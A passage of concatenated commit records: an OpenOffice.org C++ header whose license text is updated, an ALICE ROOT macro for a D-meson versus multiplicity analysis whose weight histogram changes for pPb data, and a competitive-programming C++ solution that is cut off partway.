::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getScale( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getTableName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getCatalogName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnType( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnTypeName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isReadOnly( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isDefinitelyWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnServiceName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n };\n }\n}\n\n#endif \/\/ _CONNECTIVITY_KAB_RESULTSETMETADATA_HXX_\n<commit_msg>INTEGRATION: CWS changefileheader (1.2.348); FILE MERGED 2008\/04\/01 15:08:53 thb 1.2.348.3: #i85898# Stripping all external header guards 2008\/04\/01 10:53:07 thb 1.2.348.2: #i85898# Stripping all external header guards 2008\/03\/28 15:23:44 rt 1.2.348.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: KResultSetMetaData.hxx,v $\n * $Revision: 1.3 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_KAB_RESULTSETMETADATA_HXX_\n#define _CONNECTIVITY_KAB_RESULTSETMETADATA_HXX_\n\n#include \"KConnection.hxx\"\n#include <connectivity\/CommonTools.hxx>\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hpp>\n#include <cppuhelper\/implbase1.hxx>\n#include <vos\/ref.hxx>\n\nnamespace connectivity\n{\n namespace kab\n {\n \/*\n ** KabResultSetMetaData\n *\/\n typedef ::cppu::WeakImplHelper1< ::com::sun::star::sdbc::XResultSetMetaData> KabResultSetMetaData_BASE;\n\n class KabResultSetMetaData : public KabResultSetMetaData_BASE\n {\n KabConnection* m_pConnection;\n ::std::vector<sal_Int32> m_aKabFields; \/\/ for each selected column, contains the number\n \/\/ of the corresponding KAddressBook field\n\n protected:\n virtual ~KabResultSetMetaData();\n\n public:\n KabResultSetMetaData(KabConnection* _pConnection);\n\n \/\/ avoid ambigous cast error from the compiler\n inline operator ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XResultSetMetaData > () throw()\n { return this; }\n\n void setKabFields(\n const ::vos::ORef<connectivity::OSQLColumns> &xColumns) throw(::com::sun::star::sdbc::SQLException);\n inline sal_uInt32 fieldAtColumn(sal_Int32 columnIndex) const\n { return m_aKabFields[columnIndex - 1]; }\n\n virtual sal_Int32 SAL_CALL getColumnCount( ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isAutoIncrement( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCaseSensitive( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSearchable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCurrency( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL isNullable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSigned( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnDisplaySize( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnLabel( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getSchemaName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getPrecision( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getScale( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getTableName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getCatalogName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnType( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnTypeName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isReadOnly( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isDefinitelyWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnServiceName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n };\n }\n}\n\n#endif \/\/ _CONNECTIVITY_KAB_RESULTSETMETADATA_HXX_\n<|endoftext|>"} {"text":"<commit_before>AliAnalysisTaskSEDvsMultiplicity *AddTaskDvsMultiplicity(Int_t system=0,\n\t\t\t\t\t\t\t Bool_t readMC=kFALSE,\n\t\t\t\t\t\t\t Int_t MCOption=0,\n\t\t\t\t\t\t\t Int_t pdgMeson=411,\n\t\t\t\t\t\t\t TString finDirname=\"Loose\",\n\t\t\t\t\t\t\t TString filename=\"\",\n\t\t\t\t\t\t\t TString finAnObjname=\"AnalysisCuts\", \n\t\t\t\t\t\t\t TString estimatorFilename=\"\",\n\t\t\t\t\t\t\t Double_t refMult=9.26,\n\t\t\t\t\t\t\t Bool_t subtractDau=kFALSE,\n\t\t\t\t\t\t\t Bool_t NchWeight=kFALSE,\n\t\t\t\t\t\t\t Int_t recoEstimator = AliAnalysisTaskSEDvsMultiplicity::kNtrk10,\n\t\t\t\t\t\t\t Int_t MCEstimator = AliAnalysisTaskSEDvsMultiplicity::kEta10,\n\t\t\t\t\t\t\t Bool_t isPPbData=kFALSE)\n{\n \/\/\n \/\/ Test macro for the AliAnalysisTaskSE for D+ candidates\n \/\/Invariant mass histogram and \n \/\/ association with MC truth (using MC info in AOD)\n \/\/ R. Bala, bala@to.infn.it\n \/\/ Get the pointer to the existing analysis manager via the static access method. \n \/\/============================================================================== \n \n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n ::Error(\"AddTaskDvsMultiplicity\", \"No analysis manager to connect to.\");\n }\n \n Bool_t stdcuts=kFALSE;\n TFile* filecuts;\n if( filename.EqualTo(\"\") ) {\n stdcuts=kTRUE; \n } else {\n filecuts=TFile::Open(filename.Data());\n if(!filecuts ||(filecuts&& !filecuts->IsOpen())){\n AliFatal(\"Input file not found : check your cut object\");\n }\n }\n\n \n \/\/Analysis Task \n AliRDHFCuts *analysiscuts=0x0;\n \n TString Name=\"\";\n if(pdgMeson==411){\n if(stdcuts) {\n analysiscuts = new AliRDHFCutsDplustoKpipi();\n if (system == 0) analysiscuts->SetStandardCutsPP2010();\n else analysiscuts->SetStandardCutsPbPb2011();\n }\n else analysiscuts = (AliRDHFCutsDplustoKpipi*)filecuts->Get(finAnObjname);\n Name=\"Dplus\";\n }else if(pdgMeson==421){\n if(stdcuts) {\n analysiscuts = new AliRDHFCutsD0toKpi();\n if (system == 0) analysiscuts->SetStandardCutsPP2010();\n else analysiscuts->SetStandardCutsPbPb2011();\n }\n else analysiscuts = (AliRDHFCutsD0toKpi*)filecuts->Get(finAnObjname);\n Name=\"D0\";\n }else if(pdgMeson==413){\n if(stdcuts) {\n analysiscuts = new AliRDHFCutsDStartoKpipi();\n if (system == 0) analysiscuts->SetStandardCutsPP2010();\n else analysiscuts->SetStandardCutsPbPb2011();\n }\n else analysiscuts = (AliRDHFCutsDStartoKpipi*)filecuts->Get(finAnObjname);\n Name=\"DStar\";\n }\n\n AliAnalysisTaskSEDvsMultiplicity *dMultTask = new AliAnalysisTaskSEDvsMultiplicity(\"dMultAnalysis\",pdgMeson,analysiscuts,isPPbData);\n dMultTask->SetReadMC(readMC); \n dMultTask->SetDebugLevel(0);\n dMultTask->SetUseBit(kTRUE);\n dMultTask->SetDoImpactParameterHistos(kFALSE);\n dMultTask->SetSubtractTrackletsFromDaughters(subtractDau);\n dMultTask->SetMultiplicityEstimator(recoEstimator);\n dMultTask->SetMCPrimariesEstimator(MCEstimator);\n dMultTask->SetMCOption(MCOption);\n if(isPPbData) dMultTask->SetIsPPbData();\n\n if(NchWeight){\n TH1F *hNchPrimaries = (TH1F*)filecuts->Get(\"hGenPrimaryParticlesInelGt0\");\n if(hNchPrimaries) {\n dMultTask->UseMCNchWeight(true);\n dMultTask->SetHistoNchWeight(hNchPrimaries);\n } else {\n AliFatal(\"Histogram for multiplicity weights not found\");\n return 0x0;\n }\n }\n\n if(pdgMeson==421) { \n dMultTask->SetMassLimits(1.5648,2.1648);\n dMultTask->SetNMassBins(200);\n }else if(pdgMeson==411)dMultTask->SetMassLimits(pdgMeson,0.2);\n \n if(estimatorFilename.EqualTo(\"\") ) {\n printf(\"Estimator file not provided, multiplcity corrected histograms will not be filled\\n\");\n } else{\n \n TFile* fileEstimator=TFile::Open(estimatorFilename.Data());\n if(!fileEstimator) {\n AliFatal(\"File with multiplicity estimator not found\\n\");\n return;\n }\n\n dMultTask->SetReferenceMultiplcity(refMult);\n\n if (isPPbData) { \/\/Only use two profiles if pPb\n const Char_t* periodNames[2] = {\"LHC13b\", \"LHC13c\"};\n TProfile* multEstimatorAvg[2];\n for(Int_t ip=0; ip<2; ip++) {\n\tmultEstimatorAvg[ip] = (TProfile*)(fileEstimator->Get(Form(\"SPDmult10_%s\",periodNames[ip]))->Clone(Form(\"SPDmult10_%s_clone\",periodNames[ip])));\n\tif (!multEstimatorAvg[ip]) {\n\t AliFatal(Form(\"Multiplicity estimator for %s not found! Please check your estimator file\",periodNames[ip]));\n\t return;\n\t}\n }\n dMultTask->SetMultiplVsZProfileLHC13b(multEstimatorAvg[0]);\n dMultTask->SetMultiplVsZProfileLHC13c(multEstimatorAvg[1]);\n }\n else {\n const Char_t* periodNames[4] = {\"LHC10b\", \"LHC10c\", \"LHC10d\", \"LHC10e\"};\n TProfile* multEstimatorAvg[4]; \n for(Int_t ip=0; ip<4; ip++) {\n\tmultEstimatorAvg[ip] = (TProfile*)(fileEstimator->Get(Form(\"SPDmult10_%s\",periodNames[ip]))->Clone(Form(\"SPDmult10_%s_clone\",periodNames[ip])));\n\tif (!multEstimatorAvg[ip]) {\n\t AliFatal(Form(\"Multiplicity estimator for %s not found! Please check your estimator file\",periodNames[ip]));\n\t return;\n\t}\n }\n dMultTask->SetMultiplVsZProfileLHC10b(multEstimatorAvg[0]);\n dMultTask->SetMultiplVsZProfileLHC10c(multEstimatorAvg[1]);\n dMultTask->SetMultiplVsZProfileLHC10d(multEstimatorAvg[2]);\n dMultTask->SetMultiplVsZProfileLHC10e(multEstimatorAvg[3]);\n }\n }\n mgr->AddTask(dMultTask);\n \n \/\/ Create containers for input\/output \n \n TString inname = \"cinput\";\n TString outname = \"coutput\";\n TString cutsname = \"coutputCuts\";\n TString normname = \"coutputNorm\";\n TString profname = \"coutputProf\";\n \n inname += Name.Data();\n outname += Name.Data();\n cutsname += Name.Data();\n normname += Name.Data();\n profname += Name.Data();\n inname += finDirname.Data();\n outname += finDirname.Data();\n cutsname += finDirname.Data();\n normname += finDirname.Data();\n profname += finDirname.Data();\n\n AliAnalysisDataContainer *cinput = mgr->CreateContainer(inname,TChain::Class(),AliAnalysisManager::kInputContainer);\n\n TString outputfile = AliAnalysisManager::GetCommonFileName();\n outputfile += \":PWG3_D2H_DMult_\";\n outputfile += Name.Data(); \n outputfile += finDirname.Data(); \n \n AliAnalysisDataContainer *coutputCuts = mgr->CreateContainer(cutsname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n AliAnalysisDataContainer *coutput = mgr->CreateContainer(outname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n AliAnalysisDataContainer *coutputNorm = mgr->CreateContainer(normname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n AliAnalysisDataContainer *coutputProf = mgr->CreateContainer(profname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n \n mgr->ConnectInput(dMultTask,0,mgr->GetCommonInputContainer());\n \n mgr->ConnectOutput(dMultTask,1,coutput);\n \n mgr->ConnectOutput(dMultTask,2,coutputCuts);\n\n mgr->ConnectOutput(dMultTask,3,coutputNorm); \n\n mgr->ConnectOutput(dMultTask,4,coutputProf);\n\n return dMultTask;\n}\n<commit_msg>Change weight tracklet histo for pPb<commit_after>AliAnalysisTaskSEDvsMultiplicity *AddTaskDvsMultiplicity(Int_t system=0,\n\t\t\t\t\t\t\t Bool_t readMC=kFALSE,\n\t\t\t\t\t\t\t Int_t MCOption=0,\n\t\t\t\t\t\t\t Int_t pdgMeson=411,\n\t\t\t\t\t\t\t TString finDirname=\"Loose\",\n\t\t\t\t\t\t\t TString filename=\"\",\n\t\t\t\t\t\t\t TString finAnObjname=\"AnalysisCuts\", \n\t\t\t\t\t\t\t TString estimatorFilename=\"\",\n\t\t\t\t\t\t\t Double_t refMult=9.26,\n\t\t\t\t\t\t\t Bool_t subtractDau=kFALSE,\n\t\t\t\t\t\t\t Bool_t NchWeight=kFALSE,\n\t\t\t\t\t\t\t Int_t recoEstimator = AliAnalysisTaskSEDvsMultiplicity::kNtrk10,\n\t\t\t\t\t\t\t Int_t MCEstimator = AliAnalysisTaskSEDvsMultiplicity::kEta10,\n\t\t\t\t\t\t\t Bool_t isPPbData=kFALSE)\n{\n \/\/\n \/\/ Test macro for the AliAnalysisTaskSE for D+ candidates\n \/\/Invariant mass histogram and \n \/\/ association with MC truth (using MC info in AOD)\n \/\/ R. Bala, bala@to.infn.it\n \/\/ Get the pointer to the existing analysis manager via the static access method. \n \/\/============================================================================== \n \n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n ::Error(\"AddTaskDvsMultiplicity\", \"No analysis manager to connect to.\");\n }\n \n Bool_t stdcuts=kFALSE;\n TFile* filecuts;\n if( filename.EqualTo(\"\") ) {\n stdcuts=kTRUE; \n } else {\n filecuts=TFile::Open(filename.Data());\n if(!filecuts ||(filecuts&& !filecuts->IsOpen())){\n AliFatal(\"Input file not found : check your cut object\");\n }\n }\n\n \n \/\/Analysis Task \n AliRDHFCuts *analysiscuts=0x0;\n \n TString Name=\"\";\n if(pdgMeson==411){\n if(stdcuts) {\n analysiscuts = new AliRDHFCutsDplustoKpipi();\n if (system == 0) analysiscuts->SetStandardCutsPP2010();\n else analysiscuts->SetStandardCutsPbPb2011();\n }\n else analysiscuts = (AliRDHFCutsDplustoKpipi*)filecuts->Get(finAnObjname);\n Name=\"Dplus\";\n }else if(pdgMeson==421){\n if(stdcuts) {\n analysiscuts = new AliRDHFCutsD0toKpi();\n if (system == 0) analysiscuts->SetStandardCutsPP2010();\n else analysiscuts->SetStandardCutsPbPb2011();\n }\n else analysiscuts = (AliRDHFCutsD0toKpi*)filecuts->Get(finAnObjname);\n Name=\"D0\";\n }else if(pdgMeson==413){\n if(stdcuts) {\n analysiscuts = new AliRDHFCutsDStartoKpipi();\n if (system == 0) analysiscuts->SetStandardCutsPP2010();\n else analysiscuts->SetStandardCutsPbPb2011();\n }\n else analysiscuts = (AliRDHFCutsDStartoKpipi*)filecuts->Get(finAnObjname);\n Name=\"DStar\";\n }\n\n AliAnalysisTaskSEDvsMultiplicity *dMultTask = new AliAnalysisTaskSEDvsMultiplicity(\"dMultAnalysis\",pdgMeson,analysiscuts,isPPbData);\n dMultTask->SetReadMC(readMC); \n dMultTask->SetDebugLevel(0);\n dMultTask->SetUseBit(kTRUE);\n dMultTask->SetDoImpactParameterHistos(kFALSE);\n dMultTask->SetSubtractTrackletsFromDaughters(subtractDau);\n dMultTask->SetMultiplicityEstimator(recoEstimator);\n dMultTask->SetMCPrimariesEstimator(MCEstimator);\n dMultTask->SetMCOption(MCOption);\n if(isPPbData) dMultTask->SetIsPPbData();\n\n if(NchWeight){\n TH1F *hNchPrimaries = NULL; \n if(isPPbData) hNchPrimaries = (TH1F*)filecuts->Get(\"hNtrUnCorrEvWithDWeight\");\n else hNchPrimaries = (TH1F*)filecuts->Get(\"hGenPrimaryParticlesInelGt0\");\n if(hNchPrimaries) {\n dMultTask->UseMCNchWeight(true);\n dMultTask->SetHistoNchWeight(hNchPrimaries);\n } else {\n AliFatal(\"Histogram for multiplicity weights not found\");\n return 0x0;\n }\n }\n\n if(pdgMeson==421) { \n dMultTask->SetMassLimits(1.5648,2.1648);\n dMultTask->SetNMassBins(200);\n }else if(pdgMeson==411)dMultTask->SetMassLimits(pdgMeson,0.2);\n \n if(estimatorFilename.EqualTo(\"\") ) {\n printf(\"Estimator file not provided, multiplcity corrected histograms will not be filled\\n\");\n } else{\n \n TFile* fileEstimator=TFile::Open(estimatorFilename.Data());\n if(!fileEstimator) {\n AliFatal(\"File with multiplicity estimator not found\\n\");\n return;\n }\n\n dMultTask->SetReferenceMultiplcity(refMult);\n\n if (isPPbData) { \/\/Only use two profiles if pPb\n const Char_t* periodNames[2] = {\"LHC13b\", \"LHC13c\"};\n TProfile* multEstimatorAvg[2];\n for(Int_t ip=0; ip<2; ip++) {\n\tmultEstimatorAvg[ip] = (TProfile*)(fileEstimator->Get(Form(\"SPDmult10_%s\",periodNames[ip]))->Clone(Form(\"SPDmult10_%s_clone\",periodNames[ip])));\n\tif (!multEstimatorAvg[ip]) {\n\t AliFatal(Form(\"Multiplicity estimator for %s not found! Please check your estimator file\",periodNames[ip]));\n\t return;\n\t}\n }\n dMultTask->SetMultiplVsZProfileLHC13b(multEstimatorAvg[0]);\n dMultTask->SetMultiplVsZProfileLHC13c(multEstimatorAvg[1]);\n }\n else {\n const Char_t* periodNames[4] = {\"LHC10b\", \"LHC10c\", \"LHC10d\", \"LHC10e\"};\n TProfile* multEstimatorAvg[4]; \n for(Int_t ip=0; ip<4; ip++) {\n\tmultEstimatorAvg[ip] = (TProfile*)(fileEstimator->Get(Form(\"SPDmult10_%s\",periodNames[ip]))->Clone(Form(\"SPDmult10_%s_clone\",periodNames[ip])));\n\tif (!multEstimatorAvg[ip]) {\n\t AliFatal(Form(\"Multiplicity estimator for %s not found! Please check your estimator file\",periodNames[ip]));\n\t return;\n\t}\n }\n dMultTask->SetMultiplVsZProfileLHC10b(multEstimatorAvg[0]);\n dMultTask->SetMultiplVsZProfileLHC10c(multEstimatorAvg[1]);\n dMultTask->SetMultiplVsZProfileLHC10d(multEstimatorAvg[2]);\n dMultTask->SetMultiplVsZProfileLHC10e(multEstimatorAvg[3]);\n }\n }\n mgr->AddTask(dMultTask);\n \n \/\/ Create containers for input\/output \n \n TString inname = \"cinput\";\n TString outname = \"coutput\";\n TString cutsname = \"coutputCuts\";\n TString normname = \"coutputNorm\";\n TString profname = \"coutputProf\";\n \n inname += Name.Data();\n outname += Name.Data();\n cutsname += Name.Data();\n normname += Name.Data();\n profname += Name.Data();\n inname += finDirname.Data();\n outname += finDirname.Data();\n cutsname += finDirname.Data();\n normname += finDirname.Data();\n profname += finDirname.Data();\n\n AliAnalysisDataContainer *cinput = mgr->CreateContainer(inname,TChain::Class(),AliAnalysisManager::kInputContainer);\n\n TString outputfile = AliAnalysisManager::GetCommonFileName();\n outputfile += \":PWG3_D2H_DMult_\";\n outputfile += Name.Data(); \n outputfile += finDirname.Data(); \n \n AliAnalysisDataContainer *coutputCuts = mgr->CreateContainer(cutsname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n AliAnalysisDataContainer *coutput = mgr->CreateContainer(outname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n AliAnalysisDataContainer *coutputNorm = mgr->CreateContainer(normname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n AliAnalysisDataContainer *coutputProf = mgr->CreateContainer(profname,TList::Class(),AliAnalysisManager::kOutputContainer,outputfile.Data());\n \n mgr->ConnectInput(dMultTask,0,mgr->GetCommonInputContainer());\n \n mgr->ConnectOutput(dMultTask,1,coutput);\n \n mgr->ConnectOutput(dMultTask,2,coutputCuts);\n\n mgr->ConnectOutput(dMultTask,3,coutputNorm); \n\n mgr->ConnectOutput(dMultTask,4,coutputProf);\n\n return dMultTask;\n}\n<|endoftext|>"} {"text":"<commit_before>#define DEBUG 1\n\/**\n * File : D2.cpp\n * Author : Kazune Takahashi\n * Created : 11\/13\/2019, 7:24:07 PM\n * Powered by Visual Studio Code\n *\/\n#include <iostream>\n#include <iomanip>\n#include <algorithm>\n#include <vector>\n#include <string>\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map>\n#include <set>\n#include <unordered_map>\n#include <unordered_set>\n#include <bitset>\n#include <functional>\n#include <random>\n#include <chrono>\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\n#include <boost\/rational.hpp>\nusing boost::rational;\nusing namespace std;\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n if (left < right)\n {\n left = right;\n }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n }\n}\nusing ll = long long;\nconstexpr ll MOD{1000000007LL};\nconstexpr ll MAX_SIZE{3000010LL};\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{x % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(const Mint &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(const Mint &a) { return *this += -a; }\n Mint &operator*=(const Mint &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(const Mint &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n bool operator<(const Mint &a) const { return x < a.x; }\n bool operator==(const Mint &a) const { return x == a.x; }\n const Mint power(ll N)\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n return stream << a.x;\n}\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i = 2LL; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i = 1LL; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ for C++14\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\nll gcd(ll x, ll y) { return y ? gcd(y, x % y) : x; }\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"0 1\" << endl;\n exit(0);\n}\n\nusing Info = tuple<ll, ll>;\n\nint main()\n{\n int N;\n cin >> N;\n vector<Info> V(N);\n ll A_sum{0LL};\n for (auto i = 0; i < N; i++)\n {\n ll A, B;\n cin >> A >> B;\n V[i] = Info(max(A, B), B);\n A_sum += A;\n }\n sort(V.rbegin(), V.rend());\n vector<ll> C_sum(N + 1);\n C_sum[0] = 0;\n for (auto i = 0; i < N; i++)\n {\n#if DEBUG == 1\n cerr << \"C_sum[\" << i + 1 << \" = \" << C_sum[i + 1] << endl;\n#endif\n C_sum[i + 1] = C_sum[i] + get<0>(V[i]);\n }\n if (C_sum[N] == A_sum)\n {\n No();\n }\n rational<ll> ans{0, 1};\n#if DEBUG == 1\n cerr << \"A_sum = \" << A_sum << endl;\n#endif\n for (auto k = 0; k < N; k++)\n {\n ll B_k{get<1>(V[k])};\n ll ok{N}, ng{-1};\n ll tmp_sum{0};\n bool included{false};\n while (abs(ok - ng) > 1)\n {\n ll t{(ok + ng) \/ 2};\n ll tmp{C_sum[t]};\n if (k < t)\n {\n tmp -= B_k;\n }\n if (tmp + B_k >= A_sum)\n {\n ok = t;\n included = k < t;\n tmp_sum = tmp;\n }\n else\n {\n ng = t;\n }\n }\n rational<ll> r{A_sum - tmp_sum, B_k};\n#if DEBUG == 1\n cerr << \"k = \" << k << \", B_k = \" << B_k << \", tmp_sum = \" << tmp_sum << \", r = \" << r << endl;\n#endif\n ll M{included ? ok - 1 : ok};\n#if DEBUG == 1\n cerr << \"ok = \" << ok << \", included = \" << included << \", M = \" << M << \", r = \" << r << endl;\n#endif\n rational<ll> tmp_ans = (N - M - r) \/ N;\n#if DEBUG == 1\n cerr << \"tmp_ans = \" << tmp_ans << endl;\n#endif\n if (r < 0)\n {\n continue;\n }\n ch_max(ans, tmp_ans);\n }\n cout << ans.numerator() << \" \" << ans.denominator() << endl;\n}\n<commit_msg>tried D2.cpp to 'D'<commit_after>#define DEBUG 1\n\/**\n * File : D2.cpp\n * Author : Kazune Takahashi\n * Created : 11\/13\/2019, 7:24:07 PM\n * Powered by Visual Studio Code\n *\/\n#include <iostream>\n#include <iomanip>\n#include <algorithm>\n#include <vector>\n#include <string>\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map>\n#include <set>\n#include <unordered_map>\n#include <unordered_set>\n#include <bitset>\n#include <functional>\n#include <random>\n#include <chrono>\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\n#include <boost\/rational.hpp>\nusing boost::rational;\nusing namespace std;\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n if (left < 